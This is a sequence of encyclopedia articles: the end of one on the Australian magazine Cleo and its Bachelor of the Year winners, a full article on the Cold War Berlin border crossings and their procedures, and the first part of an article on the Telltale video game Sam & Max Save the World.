Sales trend Cleo experienced an Average Net Paid Sales (ANPS) decline from 149,256 in 2008 to 134,286 in 2009, with a rate dropped by −10.03% and the number of copies sold decreased by 14,970-year-on-year. Meanwhile, the cover price of Cleo increased by $0.2 from $7.00 in 2008 to $7.20 in 2009. The circulation of Cleo decreased from 128,183 in 2009 to 110,081 in 2010.
In popular culture
ABC mini-series, Paper Giants: The Birth of Cleo dramatises the emergence of the magazine. Screened over two nights in April 2011, the series was a ratings winner, with an average of 1.34 million viewers tuning in on the opening night to watch Ita Buttrose (played by Asher Keddie) navigate the male dominated world of Australian publishing in the 1970s as she fights to get Cleo off the ground. For many avid readers of Cleo, the idea that the magazine almost did not exist made for exciting television.
Most critics praised Asher Keddie's convincing portrayal of Buttrose as an ambitious leader and supportive mentor. According to producer John Edwards, Buttrose was a significant contributor to the script. "When I went to meet her, she was tentative, nervous and fearful but also flattered".
Feminist representational techniques
Academic Margaret Henderson argues that just as Cleo made feminist ideas popular, Paper Giants uses "feminist representational techniques" to make the 1970s era of social and political change accessible to modern audiences. For many avid readers of Cleo, the idea that the magazine almost did not exist made for exciting television.
A feminist approach to relationships is shown through the many scenes of the staff gathered around the table brainstorming. The impression given is that the evolution of editorial ideas is very much a collective work process, and the women's relationship to each other is supportive rather than competitive.
The typical Cleo reader is represented by Ita's shy assistant, Leslie (played by Jessica Tovey) who begins the series faking orgasms and running errands, and by the end, escapes her dead-end relationship to begin working as a journalist in London.
Women's sexual liberation is highlighted in playful tones. There is plenty of joking, bantering, and double entendres among the female characters who use humour to deal with obstacles that come their way from the suits upstairs when creating the magazine. When we are shown the discomfort expressed by Kerry Packer (played by Rob Carlton) and Sir Frank when the female staff have frank discussions with them regarding the sexual content of Cleo, the scene is meant to be funny.
"Paper Giants' recruitment of humour…is an important corrective to the cliché of humourless feminists and to po-faced and hubristic accounts of radical political movements".
Cleo Bachelor of the Year winners
2017 - Marcus Courts 21
2016 – Jaryd Robertson, 25
2015 – Matthew Buntine, 22
2014 – Thien Nguyen
2013 – Trent Maxwell, 23
2012 – Hayden Quinn, 26
2011 – Eamon Sullivan, 25
2010 – Firass Dirani, 26
2009 – Axle Whitehead, 28
2008 – Jason Dundas, 25
2006 – Andy Lee, 25
2005 – Ryan Phelan, 29
2004 – Andrew G, 30
2003 – Geoff Huegill, 24
2002 – Paul Khoury, 28
2001 – David Whitehill, 26
2000 – Craig Wing, 21
1999 – Anthony Field, 35
1998 – Kyle Vander Kuyp, 27
1997 – Kyle Sandilands, 26
1996 – Eric Bana, 28
1994 – Aaron Pedersen, 24
1993 – Grahame Smith, 36
Cleo New Zealand Bachelor of the Year winners
2012 – John Templeton2011 – Nick Oswald
2010 – Philipp Spahn
2009 – please expand2008 – please expand2007 – Brad Werner
1993 – Matthew Rodwell
See also
List of men's magazines
List of women's magazines
Paper Giants: The Birth of Cleo''
References
External links
CLEO Singapore Official Website
CLEO Malaysia Official Website
CLEO Indonesia Website
CLEO Thailand Website
1972 establishments in Australia
2016 disestablishments in Australia
ACP magazine titles
Mercury Capital
Monthly magazines published in Australia
Women's magazines published in Australia
Defunct magazines published in Australia
Magazines established in 1972
Magazines disestablished in 2016
Magazines published in Sydney
Women's magazines published in New Zealand
Multilingual magazines
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https://en.wikipedia.org/wiki/Berlin%20border%20crossings
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Berlin border crossings
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The Berlin border crossings were border crossings created as a result of the post-World War II division of Germany. Prior to the construction of the Berlin Wall in 1961, travel between the Eastern and Western sectors of Berlin was completely uncontrolled, although restrictions were increasingly introduced by the Soviet and East German authorities at major crossings between the sectors. This free access, especially after the closure of the Inner German border, allowed the Eastern Bloc emigration and defection to occur. East German officials, humiliated by this mass defection, subsequently chose to erect the Berlin Wall in order to prevent residents from leaving East Germany.
After the construction of the Berlin Wall in 1961, border stations between East Berlin (regarded as East Germany's capital by the German Democratic Republic but unrecognized by the Western Allies) and the sectors controlled by those three Western Allies were created. Although there were few crossings at first, more sites were built over the wall's lifespan. Many East Germans crossed the wall illegally by climbing over it, sailing around it, or digging under it, while many others died while attempting to cross.
Border control procedures
Between West Berlin and German Democratic Republic (GDR) territory, the border stations were developed very effectively on the GDR side. (The official designation for controlled border traffic was Grenzübergangsstelle, GÜSt: border crossing site.) Border officials and customs agents would monitor incoming and outgoing traffic according to established procedures, at times with the utmost scrutiny. A strict division of labor among the various organizations was the rule. The security of the outward-facing border and of the border crossings was maintained by special security divisions of the GDR border guard troops (German abbreviation SiK, short for Sicherungskompanien).
The actual inspections of vehicle and pedestrian traffic were carried out by the passport control units (German abbreviation PKE, short for Passkontrolleinheiten). The PKE units were not under the command of the GDR border guard troops and thereby the Ministry of Defense, but the Ministry for State Security (Division VI / Department 6, Passport Control). While on duty at the border stations, however, the PKE would wear the same uniforms as the border guard troops. For personal inspections, highly qualified and specially trained forces were used exclusively. The passports, identification cards, etc., could be transmitted from the inspection sites to a processing center using closed-circuit television and ultraviolet light, where they were recorded. From there, commands were issued using a numeric display to the passport control unit, for example "flip page", "request additional documentation", "delay processing", ask predefined questions, etc.
On the West Berlin side, police and customs agents were stationed. No personal inspections usually took place there.
At the transit crossings (sites for traffic passing into the GDR en route to another country), statistical demographic data about travelers would be recorded (travel destination, etc.), and travelers would occasionally be inspected, when appropriate, for the purpose of criminal investigations (police "dragnets").
Freight traffic bound for other countries was subject to customs processing. Shipping to the Federal Republic of Germany was only subject to statistical record-keeping and, under certain circumstances, sealing of the cargo.
At Checkpoint Bravo (Dreilinden) and Checkpoint Charlie (Friedrichstraße), the Allied occupation forces had established checkpoints, but they were not relevant to regular personal and business traffic. They served as processing stations for military units as well as a display of military presence. Their designated authority to perform further inspections was utilized only in extremely rare cases.
Signs directed travelers passing through the GDR to report any suspicious events that might have occurred during their transit; by these means, information was to be gathered regarding, for example, the arrest of West German citizens.
Who could cross
West Germans and citizens of other Western countries could in general visit East Germany. Usually this involved application of a visa at an East German embassy several weeks in advance. Visas for day trips restricted to East Berlin were issued without previous application in a simplified procedure at the border crossing. However, East German authorities could refuse entry permits without stating a reason. In the 1980s, visitors from the western part of the city who wanted to visit the eastern part had to exchange at least DM 25 into East German currency at the poor exchange rate of 1:1. It was forbidden to export East German currency out of the East, but money not spent could be left at the border for possible future visits. Tourists crossing from the west had to also pay for a visa, which cost DM 5; West Berliners did not have to pay this.
West Berliners initially could not visit East Berlin or East Germany at all. All crossing points were closed to them between 26 August 1961 and 17 December 1963. In 1963, negotiations between East and West resulted in a limited possibility for visits during the Christmas season that year (). Similar very limited arrangements were made in 1964, 1965 and 1966. In 1971, with the Four Power Agreement on Berlin, agreements were reached that allowed West Berliners to apply for visas to enter East Berlin and East Germany regularly, comparable to the regulations already in force for West Germans. However, East German authorities could still refuse entry permits.
East Berliners and East Germans could at first not travel to West Berlin or West Germany at all. This regulation remained in force essentially until the fall of the wall, but over the years several exceptions to these rules were introduced, the most significant being:
Old age pensioners could travel to the West starting in 1964
Visits of relatives for important family matters
People who had to travel to the West for professional reasons (e.g. artists, truck drivers etc.)
However, each visit had to be applied for individually and approval was never guaranteed. In addition, even if travel was approved, GDR travelers could exchange only a very small amount of East German Marks into Deutsche Marks (DM), thus limiting the financial resources available for them to travel to the West. This led to the West German practice of granting a small amount of DM annually (Begrüßungsgeld, or welcome money) to GDR citizens visiting West Germany and West Berlin, to help alleviate this situation.
Citizens of other East European countries except Yugoslavia were in general subject to the same prohibition on visiting Western countries as East Germans, though the applicable exception (if any) varied from country to country. Citizens of Hungary could freely cross into West Berlin from 1 January 1988.
Border crossings up to 1990
On 13 August 1961, the crossings were at Kopenhagener Straße, Wollankstraße, Bornholmer Straße, Brunnenstraße, Chausseestraße, Brandenburger Tor, Friedrichstraße, Heinrich-Heine-Straße, Oberbaumbrücke, Puschkinallee, Elsenstraße, Sonnenallee, Rudower Straße. The Kopenhagener Straße, Wollankstraße, Brunnenstraße, Puschkinallee, Elsenstraße and Rudower Straße were closed on 23 August 1961, and in return, Invalidenstraße checkpoint was opened.
West Berlin – East Berlin
There were several border crossings between East and West Berlin:
Bornholmer Straße border crossing, on Bornholmer Straße over the Bösebrücke between Berlin-Prenzlauer Berg and Berlin-Wedding (opened 1961).
For West Berliners, citizens of the Federal Republic, GDR citizens, and diplomats (by road)
Brandenburg Gate between Berlin-Tiergarten and Berlin-Mitte, opened on 13 August 1961. On 14 August West Berliners gathered on the western side of the gate to demonstrate against the Berlin Wall. Under the pretext that Western demonstrations required it, the East closed the checkpoint the same day, 'until further notice', a situation that was to last until 22 December 1989.
Chausseestraße/Reinickendorfer Straße between Berlin-Wedding and Berlin-Mitte
For West Berliners and GDR citizens (by road)
Invalidenstraße/Sandkrugbrücke between Tiergarten and Berlin-Mitte
For West Berliners and GDR citizens (by road)
Checkpoint Charlie/Friedrichstraße between Berlin-Mitte and Berlin-Kreuzberg (opened 1961)
For foreigners, diplomats, Allied military personnel and GDR citizens (by road)
Heinrich-Heine-Straße/Prinzenstraße between Berlin-Mitte and Berlin-Kreuzberg
For citizens of the Federal Republic, GDR citizens and diplomats (by road)
This was sometimes referred to as Checkpoint Delta
Oberbaumbrücke between Friedrichshain and Berlin-Kreuzberg (opened 1963)
For West Berliners and GDR citizens (pedestrians)
Sonnenallee between Neukölln and Treptow
For West Berliners and GDR citizens (by road)
In addition, entirely located in East Berlin (reached by streetcar, underground, or railroad):
Friedrichstraße station (opened 1961)
For West Berliners, citizens of the Federal Republic, foreigners, diplomats, transit travelers and GDR citizens (rail/pedestrian)
West Berlin – GDR
Glienicke Bridge over the Havel from Berlin-Wannsee to Potsdam
Open to general traffic until 1952.
From 1952 on, open only for access by the western Allied Military Liaison Missions. Civilians with special permission were later allowed to cross the bridge on foot.
From 3 July 1953, the bridge was closed as one of the last routes connecting Berlin with the surrounding area for civilian traffic.
It became well known in particular because three exchanges of captured agents took place there between the American and Soviet superpowers.
Lichtenrade/Mahlow (Federal Road 96), only for garbage trucks of the Berlin sanitation department and automobiles on service trips from West Berlin to the dump in Schöneiche.
Waltersdorf Chaussee/Rudow Chaussee, besides its function for transit to and from the Berlin-Schönefeld airport, was also opened for passage of West Berliners into the GDR. The crossing was little known, as only its transit function was mentioned in guidebooks.
In Kohlhasenbrück, for access to the Steinstücken exclave, and only for the use of its residents. This crossing was abolished after the 1971 territorial exchange, when East Germany ceded the interjacent tract of land to West Berlin.
Bürgerablage Beach, for access to the exclaves Erlengrund and Fichtewiese, two allotment clubs, only for use by allotmenteers there. The crossing was abolished after the 1988 territorial exchange, when East Germany ceded two tracts of interjacent land to West Berlin.
Crossings for transit traffic
Road crossings
These crossings could be used for passage on the prescribed transit highways and for travel within the SOZ/GDR:
Dreilinden (Allied Checkpoint Bravo)/Drewitz: The Autobahn Crossing Checkpoint Dreilinden and Border Crossing Station (GÜSt) Drewitz was for travel and freight traffic. Even after this portion of the autobahn was rebuilt and the crossing station was relocated on 15 October 1969, the names were retained. Berlin-Zehlendorf/Kleinmachnow would have been more correct.
to the Federal Republic, in the following directions:
Marienborn / Helmstedt (Lower Saxony, Hannover; Allied Checkpoint Alpha)
Hirschberg / Rudolphstein (Bavaria, Hof, Nürnberg, München)
Wartha / Herleshausen (toward Hesse, Frankfurt am Main)
into Czechoslovakia:
Zinnwald / Cinovec
to Poland:
Pomellen / Kołbaskowo (Kolbitzow) (in the direction of Szczecin, Gdańsk)
Frankfurt (Oder) / Slubice (toward central Poland, Warsaw)
Forst (toward southern Poland, (in the direction of Wrocław, Katowice, Kraków)
toward Scandinavia:
Sassnitz by Baltic sea passage to Sweden (Trelleborg), Denmark (Rønne)
Rostock / Warnemünde by Baltic sea passage to Denmark (Gedser), passengers and crews of passenger ships.
In addition the only trans-border bus line of the BVG, bus line 99, passed through this crossing from the Wannsee streetcar station to Potsdam-Babelsberg (autobahn exit) and back. Until 9 November 1989 only buses without an upper deck or advertising were allowed; afterwards, conventional double-decker buses with advertising would pass as well, due to increased traffic and the freedom of passage after the Berlin Wall fell.
Heerstraße in Berlin-Staaken / Staaken-West (1951 – 1982, previously in Dallgow):
Horst / Lauenburg (B 5 / F 5: to northern Germany, Hamburg)
This crossing offered the only option for driving to the Federal Republic with vehicles not permitted on the autobahn (e.g., bicycles, mopeds, tractors, and other specialized vehicles), on condition that one make the trip without interruption (overnight stays, lengthy breaks).
This crossing was later closed and replaced by an autobahn connection through Tegel. With this change, the possibility of going through the GDR with other vehicles ended.
Berlin-Heiligensee/Stolpe: Autobahn Crossing Checkpoint Berlin-Heiligensee and Stolpe in Hohen Neuendorf
to the Federal Republic, in the direction of:
Zarrentin / Gudow (northern Germany, Hamburg)
to Poland
Pomellen / Kołbaskowo (Kolbitzow) (toward Szczecin, Gdańsk)
to Scandinavia
Sassnitz by Baltic sea passage to Sweden (Trelleborg), Denmark (Rønne)
Rostock / Warnemünde by Baltic sea passage to Denmark (Gedser), passengers and crews of passenger ships.
Lichtenrade / Großbeeren: This crossing planned but never realised. Intended to be developed as an autobahn border control station for transit travelers.
Rail crossings
Berlin-Wannsee/Griebnitzsee (for passenger traffic) and Steinstücken/Drewitz Station (for freight traffic)
Marienborn/Helmstedt (Hannover, western Germany)
Schwanheide/Büchen (Hamburg, northern Germany, 1961 – 1976)
Gerstungen/Bebra (western Germany, Hesse, Frankfurt am Main)
Probstzella/Ludwigsstadt (southern Germany, Hof, Nürnberg, München)
Berlin-Spandau/Staaken (SOZ / 'GDR') (restricted to freight only from 1961 to 1976; during those years, passenger traffic was diverted via Berlin-Wannsee/Griebnitzsee)
Schwanheide/Büchen (Hamburg, northern Germany)
Zoologischer Garten Station/Friedrichstraße Station
ČSSR, Poland, Scandinavia
Furthermore, many train connections ended at the Ostbahnhof (east station). Very few passenger coaches passed through (e.g. Paris – Moscow), and in general one had to change trains at the Ostbahnhof (then the Berlin main station) or in the Berlin-Lichtenberg station.
Waterways
The numerous border crossings on waterways (e.g.,
Spree, Havel, Teltow Canal) were only open to commercial freight traffic. Recreational boats had to be loaded onto ships or towed overland.
Tiefer See / Glienicke Lake (1954–1961) This crossing was not relevant for traffic to and from West Berlin.
Dreilinden / Kleinmachnow, Teltow Canal (from 1981 on)
Teufelssee Canal / Hennigsdorf (only traffic to and from GDR destinations and transit traffic (Poland), not to the Federal Republic)
Potsdam-Nedlitz / Jungfernsee
Crossings within the Berlin city limits
Air travel
To and from Berlin-Schönefeld Airport for air travel:
Waltersdorfer Chaussee/Rudower Chaussee (transfer bus to and from West Berlin)
also, within East Berlin territory (access via streetcar, U-bahn or rail):
Friedrichstraße Station (starting in 1961)
At the Berlin-Tempelhof and Berlin-Tegel airports there were border crossings manned by West Berlin police and customs. These were not located in territory controlled by the GDR. In addition to processing for international air travel, the personal documents of travelers between West Berlin and the Federal Republic were inspected.
Miscellaneous crossings
The various illegal or unofficial border crossings are not reliably documented:
those constructed between the East and West by refugees and those who assisted them, mostly underground. Many of these were discovered and destroyed.
those constructed by, e.g., the Ministry for State Security and other clandestine organizations, in order to transfer people unobserved between East and West.
Changes in 1989 and 1990
In the time between the fall of the Berlin Wall on 9 November 1989 and the abolition of all border controls on 1 July 1990, numerous additional border crossings were built for interim use. Because of their symbolic value, the most famous of these were Glienicke Bridge, Bernauer Straße, Potsdamer Platz, and the Brandenburg Gate.
The opening of the Brandenburg Gate was merely a public relations formality which took place on 22 December 1989 at the request of then-Chancellor Helmut Kohl. Hundreds of television crews from all over the world had anticipated this historic event for weeks.
West Germans and West Berliners were allowed visa-free travel to the East Berlin and East Germany starting 23 December 1989. Until then, they could only visit under restrictive conditions that involved application for a visa several days or weeks in advance and obligatory exchange of at least 25 DM per day of their planned stay. Thus, in the weeks between 9 November 1989 and 23 December 1989, East Germans could travel more freely than Westerners as they were able to cross into West Berlin with just passport checks.
There are also roads that are reopened between 12 June 1990 and 21 June 1990 with or without border controls.
The controls were abandoned on 1 July 1990, the day of the currency union and before the actual reunification of Germany on 3 October 1990. In the months after the fall of the Wall, border crossings between the East and the West had become more and more irrelevant.
Today, a few portions of the structures have been retained as a memorial.
Remaining border controls
Today the only remaining border crossings in Berlin are located at Tegel and Schönefeld airports (Schönefeld being located outside Berlin city limits) and all Cold War-specific border control procedures have disappeared altogether. They are staffed by German Federal Police and Customs for normal international traffic screening purposes.
Bibliography
Hans-Dieter Behrendt: Im Schatten der "Agentenbrücke" (In the shadow of the "Agents' Bridge"), 260 pages, GNN Verlag,
See also
Inner German border
External links
Comprehensive documentation by the former passport control staff officer Hans-Dieter Behrendt
Checkpoint Bravo preservation association
Border crossing stamps
Gallery
Berlin border crossings
Crossings after the fall of the Berlin Wall
Newly opened crossings after the fall of the Wall
Border crossings stamps
Border crossings in divided regions
Berlin Wall
Inner German border
Lists of international border crossings
Divided cities
Transport in Berlin
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https://en.wikipedia.org/wiki/Sam%20%26%20Max%20Save%20the%20World
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Sam & Max Save the World
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Sam & Max Save the World is a graphic adventure video game developed by Telltale Games. The game was originally released as Sam & Max: Season One before being renamed in early 2009. Save the World was developed in episodic fashion, comprising six episodes that were released for Microsoft Windows over the course of late 2006 and early 2007. The episodes were initially distributed online by GameTap and Telltale Games themselves, although the later retail releases of the game were published by The Adventure Company and JoWooD Productions in North America and Europe respectively. A Wii port of the game was published in late 2008, and an Xbox Live Arcade version was released in mid-2009. A remaster of the game by Skunkape Games was released in December 2020 for Nintendo Switch and Microsoft Windows, in August 2021 for Xbox One, and in September 2022 for PlayStation 4.
Based on Steve Purcell's comic book series Sam & Max, the game follows the title characters Sam and Max—self-styled vigilante private investigators, the former an anthropomorphic dog and the latter a "hyperkinetic rabbity thing"—through several cases involving a hypnotism conspiracy. Each episode features one case with a contained story, with an underlying plot running through the series. The game was announced by Telltale Games in 2005 following the cancellation of Sam & Max: Freelance Police by LucasArts in the preceding year; many of the employees at Telltale Games were members of the Freelance Police development team.
The game received a positive response from critics, with praise bestowed on the game's humor, graphics and gameplay, but concerns were voiced over the low difficulty of the puzzles, repetition in design between episodes and the effectiveness of the story. Opinions dissented across the Atlantic; some British reviewers did not appreciate the writing in the way that American critics did. Nevertheless, the game has won several awards and is often cited by commentators as the first successful application of episodic distribution. The game was accompanied by a number of short machinima videos set between each episode. The game was followed by two episodic sequels: Sam & Max Beyond Time and Space in 2007 and Sam & Max: The Devil's Playhouse in 2010.
Gameplay
Sam & Max Save the World is a 3D graphic adventure game in which the player controls the character of Sam. The player has Sam explore the environments of the game and solve a series of puzzles using a simple point-and-click interface. The game's puzzles have logical solutions, although a number of them have far-fetched solutions due to the game's cartoon setting. Depending on the type of in-game entity a player selects using the cursor, the player can have Sam walk around an area, look at and comment on objects, pick up certain items or otherwise try to use them. Sam may also engage in conversation with non-player characters; when this occurs, the game presents a dialog tree with several subjects to pick from. Topics of conversation may directly involve the story or provide assistance with the game's puzzles, while others may be entirely unconnected. In some cases, the player may be able to choose dialog for Max to speak as well.
The game implements an inventory system to allow Sam to store any items that the player picks up during the course of the game. The player may select any of the items in the inventory and can then attempt to use them on objects in the game world or give them to other characters simply by clicking on the desired target. Unlike Save the Worlds predecessor, Sam & Max Hit the Road, inventory items are context specific, and cannot be used together or combined to create new items. Typically, Sam carries a gun that may be used to solve several puzzles.
The characters can travel between a variety of locations in the game using their black and white 1960 DeSoto Adventurer, which, when selected, will present the player with a list of available destinations. The DeSoto is also used for several driving sequences, usually involving pursuing or fleeing criminals in other vehicles. In these driving sequences, the player can use Sam's gun, the car's horn, or have Max attempt to communicate with other vehicles via a megaphone. In addition, special inventory items may be used to complete specific puzzles within these sequences. Driving sequences are also used for several minigames, such as pulling innocent drivers over for fabricated felonies. In keeping with the developer's heritage from the LucasArts adventure games, Sam & Max Save the World is designed so that the player characters cannot die or reach a complete dead-end.
Synopsis
Characters
Sam & Max Save the World is set in a universe that parodies American popular culture, and it follows the title characters of Sam and Max, the Freelance Police, a pair of vigilantes and private investigators. Sam is a level-headed but enthusiastic anthropomorphic dog who wears a blue suit and fedora. He is inquisitive, knowledgeable in obscure areas and tends to prefer the logical solution to problems, but he is not above using force. Max is described as a "hyperkinetic rabbity thing"; cunning, uninhibited and reveling in violence and mischief. His reactions to situations usually incorporate force but often with a seeming disregard for his own personal safety. Together, the Freelance Police operate out of a dilapidated office block in a dangerous neighborhood in New York City where they receive cases over the telephone from an unseen police commissioner.
There are several supporting characters that consistently appear throughout the episodes.
Bosco is the proprietor of the nearby convenience store and supplies the Freelance Police with a number of items across the game. Driven paranoid by repeated shoplifting, Bosco is obsessed with conspiracies, believing that nearly every US government agency, as well as many criminal outfits, are after him. As such, his store is overwhelmed with security devices and contraptions created by Bosco himself. He regularly attempts to disguise himself as a variety of foreign nationals, but to little effect.
Further down the neighborhood is Sybil Pandemik, who owns a small office across from Sam and Max. Sybil is unable to keep a consistent job and regularly changes her career choices. Introduced as a psychotherapist, she is noted to have worked as a tattoo artist, software tester, tabloid journalist and professional witness.
In a hole in Sam and Max's own office resides Jimmy Two-Teeth, a rat who works as a petty criminal, confidence trickster and fence. He profusely dislikes Sam and Max, who he sees as always interfering with his work.
Other characters include the Soda Poppers, a group of three former child stars from the 1970s. The three, each with their own trademark catch-phrase, first appear as victims of hypnosis in the first episode, later acting as the judges on a Pop Idol parody in the second episode. By the fourth episode, they are elected the governors of the Dakotas and plunge the region into civil war over ownership of Mount Rushmore. Also making sporadic appearances is Hugh Bliss, an eccentric magician and leader of the Prismatology cult, a parody of Scientology. He is often seen attempting to promote his self-help guides based on Prismatology. Sam finds Bliss irritating, while Max almost idolizes him. Minor characters include Agent Superball, a US Secret Service agent with a penchant for guarding doors; Chuckles, the pit manager in a mafia-run casino; Harry Moleman, a police mole who switches sides; and the Computer Obsolescence Prevention Society (COPS), a group of outdated computers attempting to find purpose in the technologically advanced world.
Plot
The game opens with Sam and Max, the Freelance Police, lounging in their office, awaiting a new case after a long hiatus. Eventually, the commissioner sends them out to investigate a group of former child stars, the Soda Poppers, who have been causing trouble in the neighborhood. The Soda Poppers are attempting to promote a self-help video called Eye-Bo, which (when watched) hypnotizes the viewer. After seeking assistance from Sybil to reverse the hypnotism on the Soda Poppers by knocking them unconscious, the Freelance Police learn that the scheme has been devised by one Brady Culture, another former child star who owes his fall from popularity to the rise of the Soda Poppers. Sam and Max and the Soda Poppers confront Culture, who hypnotizes the Soda Poppers again. However, Sam manages to fool Culture into ordering the Soda Poppers to attack himself, subduing the threat. The next case the Freelance Police get involves liberating a studio audience held hostage by a deranged TV talk show host, Myra Stump. At the TV station, Sam and Max deduce that Myra has been hypnotized and, after using other shows in the studio to become celebrities, they convince her to let them become guests on her show. Once on the show, Sam notes a strange toy bear on the host's desk, the source of the hypnotism. Using the studio sound system, Sam electrocutes both Myra and the bear, allowing the audience to leave.
The commissioner then tasks Sam and Max with infiltrating the Toy Mafia, a criminal organisation operating from a casino. The commissioner's mole in the organisation has gone quiet; he wants the Freelance Police to find out what happened to the mole. Sam and Max quickly discover that the Toy Mafia are responsible for the toy bear that hypnotised Myra. As they gain the Mafia's trust, they ascertain that the mole has switched sides and is now leading the outfit. After discovering that the casino is a front for a factory producing the hypnotizing bears for mass distribution, the Freelance Police sabotage the factory and destroy the operation. Soon after, the US President starts bringing in bizarre policies; Max is particularly concerned about the introduction of gun restrictions, while Sam believes the President has been hypnotized. At the White House, Max beheads the President, revealing him to be a mechanical puppet designed to hypnotize the nation through TV broadcasts. The President's bodyguard, none other than the now-fallen Toy Mafia's pit boss, activates a giant robot disguised as the statue at the Lincoln Memorial to run in an emergency election against Max. Sam discredits Lincoln's campaign, resulting in Max winning the presidential election. Lincoln begins a destructive rampage through Washington D.C., but is neutralized when Max fires an intercontinental ballistic missile at him.
The next case given to Sam and Max involves dealing with a computer crisis that is causing the world economy to collapse. They discover the problem is a virtual reality program called Reality 2.0, powered by the Internet (which has gained sentience), which is hypnotizing people so they never want to leave the program. Sam and Max access the program themselves and introduce a computer virus that crashes Reality 2.0 and deletes the digital embodiment of the Internet. Prior to expiring, the Internet reveals that it was following the plans of one Roy G. Biv. Sam eventually deduces that Roy G. Biv is actually Hugh Bliss, a character seemingly in the background of all their previous cases. The Freelance Police travel to Bliss' Prismatology retreat on the Moon, where Bliss is preparing a device to hypnotize the entire planet. Bliss reveals himself as a colony of sentient bacteria that feeds off of the endorphins produced by human happiness; by hypnotizing the planet, Bliss assures himself of a permanent supply of nourishment. Bliss activates the device, but is killed when Sam tricks him into a tank of water and boils it using the rocket engine of a lunar lander. Returning to Earth, Max takes great pleasure in reversing the hypnotism by personally knocking everyone on the planet unconscious.
Episodes
Machinima
For the release of each episode, Telltale Games released three corresponding machinima shorts. These shorts are set between the episodes; fifteen were released in total. The first short, "Frank Discussion", released on November 30, 2006, has Sam and Max share a discussion regarding frankfurters and their preservative properties in Bosco's store. The short was followed on December 7 by "Trainspotting", in which Sam ponders the meaning of life while Max questions the sensibility of being outside, away from the comforts of their office. On December 12, Telltale released "A Painstaking Search": having misplaced the keys to their office, Sam and Max return to Brady Culture's hideout in an attempt to retrace their steps. The first short of 2007, "Reality Blights", was released on January 4 and sees Max volunteer the duo to appear on a reality television show, Four Freaks in a Terribly Cramped Office. "Egregious Philosophy Platter" was released seven days later on January 11 and features Sam and Max as host the hosts of television show Egregious Philosophy Platter, discussing the philosophers Socrates and Descartes. The final short relating to television shows, "Kitchen Consequential", was released on January 18 and follows Sam and Max hosting Fun in the Kitchen With Sam and Max where they showcase a few recipes of special effects.
"Interrogation" was released after the game's third episode on February 1, in which Sam and Max demonstrate how to properly interrogate a suspect. This was followed by "Coffee" on February 8; in the short, Sam and Max experiment with telekinesis on coffee cups. On February 15, "The Blank Blank Blank" was released, where Sam and Max discuss with Bosco a government agency so secret, the acronym is classified. Following episodes relate to Max's tenure as US president after "Abe Lincoln Must Die!"; "War Games", released on March 1, has Sam and Max engage in military activities from the White House's war room under the pretense that they are mere simulations. It was followed by "The Teapot Drone Scandal" on March 15, in which Max orders a Secret Service agent to recite "I'm a Little Teapot" over the telephone. "Saving the Economy" was released on March 22, showing a broadcast by Max outlining his plans to make the economy more efficient by irrationally extending daylight saving time. On April 5, "Artichoke" was released, in which Max holds a press conference where he is unwisely questioned about his gun control policies. The penultimate short, "Bosco", was released on April 12, and shows Max starting a negative campaign against Bosco for the presidential election, despite the fact that he is not running. "A Fireside Chat", the final episode, was released on April 19, depicting a broadcast by Max to the state of Idaho in the hopes of getting them to vote for him.
Development
Production
Sam & Max Save the World originates from Sam & Max: Freelance Police, a graphic adventure game that was developed by LucasArts from 2002 to 2004. Freelance Police was a sequel to the 1993 title Sam & Max Hit the Road. However, LucasArts ceased production on Freelance Police in March 2004. In the subsequent weeks, LucasArts underwent major restructuring; many of the developers who worked on past LucasArts adventure games were made redundant. Some of the former Freelance Police development team consequently formed Telltale Games in June 2004 to continue developing the sort of adventure games that LucasArts no longer wished to produce. Sam & Max creator Steve Purcell, who described himself as disappointed and frustrated with LucasArts' decision, took the Sam & Max franchise to Telltale after the LucasArts license expired in mid-2005. Telltale Games announced the new series of Sam & Max games in September 2005. Brendan Q. Ferguson, who worked on Freelance Police as a programmer, designer and writer; Dave Grossman, one of the project leaders on Maniac Mansion: Day of the Tentacle; and Purcell primarily led the development of the project.
Unlike Freelance Police, Save the World was developed in episodic form, with episodes being released in quick succession, to allow for reduced development time between titles and quicker delivery of content to consumers. Telltale launched a website for Sam & Max in November to accompany their new series. The following month, Purcell began publishing a Sam & Max webcomic entitled "The Big Sleep" on the site; the webcomic ran for twelve issues and concluded in April 2007. Purcell won an Eisner Award in 2007 for the webcomic. In March 2006, Telltale acquired in funding from a group of private investors, to help sustain growth until its next round of equity funding.
Telltale released the game's trailer for the Electronic Entertainment Expo in May 2006, showing the new voice actors for Sam and Max: David Nowlin and William Kasten respectively. However, Andrew Chaikin voiced Max in the first episode, but was unable to continue in the role due to health reasons. While at the convention, Telltale revealed that the first episode was forecast for release towards the end of 2006, via the distribution service GameTap. Telltale announced a release date of October 17 over GameTap in early September, with the note that each episode would be made available from Telltale themselves within fifteen days of release. Development on the first episode was completed on September 25, and from October 10, GameTap began hosting the Sam & Max animated series as promotional material for release. The first episode, "Culture Shock", was released on-time on October 17. The next five episodes were released over short intervals until the series finale in April 2007. The series debuted on Steam on June 15 the same year. Telltale began shipping a special collectors edition of the game in July, while the retail version of the game was published in August. January 2008 saw a significant update to the game, upgrading the game engine and ensuring compatibility with Windows Vista.
Three months later, Telltale announced a Wii version of the game. Telltale reported that an email campaign and Internet rumors of a port had stirred up interest within the company for producing a Wii version. They redesigned the game's point-and-click interface to accommodate the Wii Remote, the primary controller for the console. The game was initially forecast for release in North America on October 7, 2008, but was released a week later on October 14. The European version was published later in December.
In February 2009, Telltale Games renamed the game from its initial release title of Sam & Max: Season One to Sam & Max Save the World. Telltale's public relations spokeswoman, Emily Morganti, explained that while Season One was thought to communicate the game's episodic nature to potential consumers, the company felt that it was nondescript in relation to the game's story. The message accompanied the announcement of an Xbox Live Arcade version of the game, which had been subject to media speculation since February 2007. Both Windows and Wii versions of the game were republished using the new title.
Design
According to Dave Grossman, the objective for Telltale Games with Sam & Max Save the World was to create a game with a "lot of story and character in it". Grossman explained that the Sam & Max franchise was therefore most ideally suited to the graphic adventure genre; while action was thought to be possible with the source material, it "would be kind of wrong". Still, designers decided to introduce action moments such as car chase scenes, wanting players to "feel like [they] are these crazy Freelance Police officers" and "just be involved in all this sort of mayhem" presented in the original comic strips. Like in previous Sam & Max games, Sam & Max Save the World used a point-and-click gameplay system, itself a variation of the control scheme used by Telltale in their preceding adventure game series, Bone; the action sequences implemented in the game still maintained the point-and-click interface.
